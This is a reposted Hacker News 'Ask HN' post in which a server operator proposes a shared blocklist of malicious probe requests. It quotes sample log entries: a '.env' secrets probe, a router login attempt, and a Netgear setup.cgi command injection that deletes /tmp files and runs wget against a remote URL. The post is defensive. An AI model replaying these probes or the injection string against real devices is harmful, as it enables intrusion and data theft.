Ask HN: Can we collaborate on a IP Address or Regex blacklist?
9 by usernamebias | 14 comments on Hacker News.
Hear me out. I've recently started logging pings to my services, A LOT of servers ping me constantly checking for things like '.env' and other known vulnerabilities. I currently have a JSON dataset of about 10K entries. It looks like this. { "offense": "boaform/admin/formLogin?username=ec8&psd=ec8", "ipAddress": "125.47.68.164" }, { "offense": ".env", "ipAddress": "52.224.55.198" }, { "offense": "setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+https://ift.tt/3wziuvW", "ipAddress": "115.58.115.18" } Maybe we don't filter by ip address, and instead filter requests based on known strings (or regex). That's what i'm currently doing. Ex. If request includes '.env'. Blocked! I'd love to implement a more aggressive strategy. Rather than a reactive one. I'm currently finding myself going through server logs, and adding new 'keywords' to the 'banned list'. Like a 'ad blocklist' we can use as middleware in our HTTP applications. If something exists already, kindly point me to a Github.
Popular Posts
-
How does one get close to mastering software engineering? 11 by sidcool | 1 comments on Hacker News.
-
The “API Mandate” memo at Amazon 14 by laingc | 1 comments on Hacker News.
-
On the Nature of Merge Conflicts 6 by zdw | 1 comments on Hacker News.
-
Sacred objects: From police evidence to museum pieces 4 by drdee | 0 comments on Hacker News.
-
July marks the high point of the summer season, and television has noticed. Along with the sparse, anticlimactic but occasionally t...
-
This article is part of the The DC Brief, TIME’s politics newsletter. Sign up here to get stories like this sent to your inbox ev...
-
LONDON — Lewis Hamilton is now a “Sir” as well as a seven-time Formula One champion. Hamilton received a knighthood Wednesday as ...
-
Tell HN: Check medium's localstorage if you use adblock 50 by ev1 | 4 comments on Hacker News. If you have uBlock or similar, it appe...
-
(TOKYO) — Japanese fashion designer Kansai Yamamoto, known for his avant-garde and colorful work that included flamboyant costumes ...
-
William Morris, Romantic Revolutionary 5 by lermontov | 1 comments on Hacker News.
No comments:
Post a Comment